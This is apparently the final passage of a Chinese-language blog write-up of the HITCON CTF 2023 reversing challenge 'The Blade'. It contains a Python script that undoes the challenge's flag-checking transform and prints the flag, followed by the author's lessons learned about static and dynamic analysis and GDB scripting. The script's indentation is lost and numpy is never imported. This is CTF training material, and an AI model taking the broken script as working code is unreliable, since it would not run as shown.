index_map = [61, 46, 51, 26, 39, 58, 15, 17, 62, 54, 38, 37, 7, 30, 21, 1, 41, 28, 14, 42, 48, 3, 63, 44, 12, 23, 5, 19, 22, 33, 56, 43, 29, 45, 55, 57, 32, 59, 8, 16, 50, 27, 35, 0, 52, 18, 49, 25, 11, 10, 24, 6, 47, 13, 53, 34, 40, 2, 31, 60, 9, 36, 4, 20]

decrypt_map = {251: 0, 123: 1, 78: 2, 187: 3, 81: 4, 21: 5, 141: 6, 219: 7, 176: 8, 172: 9, 165: 10, 142: 11, 170: 12, 178: 13, 96: 14, 235: 15, 99: 16, 92: 17, 222: 18, 66: 19, 43: 20, 198: 21, 166: 22, 53: 23, 48: 24, 67: 25, 214: 26, 95: 27, 189: 28, 36: 29, 177: 30, 227: 31, 140: 32, 167: 33, 213: 34, 42: 35, 124: 36, 109: 37, 139: 38, 23: 39, 157: 40, 131: 41, 254: 42, 105: 43, 16: 44, 89: 45, 169: 46, 158: 47, 15: 48, 28: 49, 102: 50, 151: 51, 91: 52, 97: 53, 237: 54, 173: 55, 224: 56, 218: 57, 39: 58, 6: 59, 37: 60, 220: 61, 94: 62, 231: 63, 65: 64, 50: 65, 210: 66, 217: 67, 143: 68, 238: 69, 175: 70, 3: 71, 147: 72, 58: 73, 0: 74, 162: 75, 225: 76, 179: 77, 236: 78, 129: 79, 159: 80, 202: 81, 88: 82, 183: 83, 121: 84, 253: 85, 59: 86, 160: 87, 2: 88, 12: 89, 203: 90, 168: 91, 128: 92, 192: 93, 22: 94, 77: 95, 47: 96, 117: 97, 113: 98, 10: 99, 4: 100, 57: 101, 255: 102, 193: 103, 156: 104, 171: 105, 239: 106, 164: 107, 216: 108, 226: 109, 20: 110, 194: 111, 108: 112, 100: 113, 30: 114, 107: 115, 126: 116, 153: 117, 46: 118, 9: 119, 11: 120, 134: 121, 116: 122, 106: 123, 196: 124, 45: 125, 79: 126, 249: 127, 250: 128, 148: 129, 182: 130, 31: 131, 137: 132, 111: 133, 93: 134, 232: 135, 234: 136, 181: 137, 90: 138, 101: 139, 136: 140, 197: 141, 127: 142, 119: 143, 17: 144, 207: 145, 241: 146, 27: 147, 63: 148, 244: 149, 72: 150, 71: 151, 18: 152, 228: 153, 186: 154, 223: 155, 233: 156, 98: 157, 110: 158, 180: 159, 150: 160, 205: 161, 19: 162, 83: 163, 75: 164, 40: 165, 215: 166, 209: 167, 51: 168, 184: 169, 230: 170, 122: 171, 44: 172, 155: 173, 41: 174, 68: 175, 82: 176, 247: 177, 32: 178, 242: 179, 49: 180, 211: 181, 185: 182, 64: 183, 208: 184, 52: 185, 245: 186, 84: 187, 26: 188, 1: 189, 161: 190, 146: 191, 252: 192, 133: 193, 7: 194, 190: 195, 221: 196, 188: 197, 25: 198, 243: 199, 54: 200, 246: 201, 114: 202, 152: 203, 76: 204, 125: 205, 199: 206, 212: 207, 69: 208, 74: 209, 154: 210, 195: 211, 138: 212, 229: 213, 80: 214, 70: 215, 204: 216, 104: 217, 118: 218, 103: 219, 201: 220, 14: 221, 60: 222, 87: 223, 240: 224, 34: 225, 191: 226, 38: 227, 132: 228, 13: 229, 144: 230, 163: 231, 174: 232, 61: 233, 29: 234, 200: 235, 145: 236, 5: 237, 135: 238, 112: 239, 8: 240, 115: 241, 33: 242, 73: 243, 85: 244, 62: 245, 55: 246, 35: 247, 24: 248, 86: 249, 206: 250, 130: 251, 56: 252, 149: 253, 120: 254, 248: 255}

const_data = [0x526851A7, 0x31FF2785, 0xC7D28788, 0x523F23D3, 0xAF1F1055, 0x5C94F027, 0x797A3FCD, 0xE7F02F9F, 0x3C86F045, 0x6DEAB0F9, 0x91F74290, 0x7C9A3AED, 0xDC846B01, 0x0743C86C, 0xDFF7085C, 0xA4AEE3EB]

def reverse_cal(x):
r12 = 0x0000000464C457F
r13 = 0x0000000746F6F72
r14 = 0x000000031F3831F

x = np.uint32(x)
x = np.uint32(x ^ r14)
x = np.uint32(~x)
x = np.uint32((x << 11) | (x >> (32 - 11)))
x = np.uint32(x ^ r13)
x = np.uint32(x - r12)
x = np.int32(x)
return [x & 0xff, (x & 0xff00) >> 8, (x & 0xff0000) >> 16, (x & 0xff000000) >> 24]

flag_list = []

for i in const_data:
flag_list.extend(reverse_cal(i))

for _ in range(256):
flag_list = [decrypt_map[i] for i in flag_list]
flag_list = [flag_list[index_map[i]] for i in range(64)]

flag = ''.join(chr(i) for i in flag_list)
print(flag)
  • flag:
    hitcon{<https://soundcloud.com/monstercat/noisestorm-crab-rave>}
    flag 是一串網址,感覺有點像是迷因 XD,有興趣可以去聽看看~

0x5 Summary

解這題和寫 writeup 其實花了不少時間,以下是一些心得和學到的教訓:

  • 找指令的不同思路:
    這題在分析的思路上算是蠻線性的,基本上要分析的也只有 verify() 跟一點點 prompt(),不過看到有其他高手用 strings 直接找到 flag-checker 的指令很不可思議,下次也會從這邊切入嘗試,也許能省下不少時間。

  • 型別轉換:
    在建映射表還有寫 exploit 的時候,型別轉換都蠻困擾我的,往往是執行後才發現有問題,也吃了一點時間在 debug,不過這就是經驗不足,講出來就是要再扁自己一次,熟悉後寫 script 的效率想必也會提升不少,就更有機會在時間內解出這種麻煩的題目了。

  • 敗筆:
    verify() 前面處理 input 的部分從靜態分析都能夠大概看出來,但後面寫入 255 bytes 的 shellcode 沒有意識到,雖然有發現寫入了一些 bytes 但沒有轉成 assembly 就很難猜到他後面在幹嘛,不過有經驗後下次就會把這個可能考慮進去,解出來後面就蠻順利了。

  • 發現好用的新工具:
    在建立加密映射表的時候覺得輸入的重複性很高,就查了一下 GDB 有 python API 可以用,未來感覺也可以應用在不少場境。

  • 更頻繁地使用動態分析:
    我發現自己寫逆向題的時候用動態分析的比例都明顯下降了不少,但動態分析有時候真的會省下不少麻煩,有些情況下甚至是必要的,尤其像是 Rust 的題目更是如此,未來也會更頻繁的搭配動態分析去增加自己逆向的效率。

  • 練習的方向:
    這次也有發現寫 HITCON CTF 的題目雖然花時間,但確實會學到不少東西,近期也開始有在寫 pwnable.tw 的題目,希望能透過難題逼自己脫離舒適圈,然後成長得更快。

0x6 References

HITCON 2023 – The Blade
hitcon2023逆向 The Blade WP
Hitcon 2023 Blade WP

  • Title: HITCON-CTF-2023 Full Chain - The Blade Writeup
  • Author: kazma
  • Created at : 2024-02-19 01:44:30
  • Updated at : 2024-03-25 04:59:51
  • Link: https://kazma.tw/2024/02/19/HITCON-CTF-2023-Full-Chain-The-Blade-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments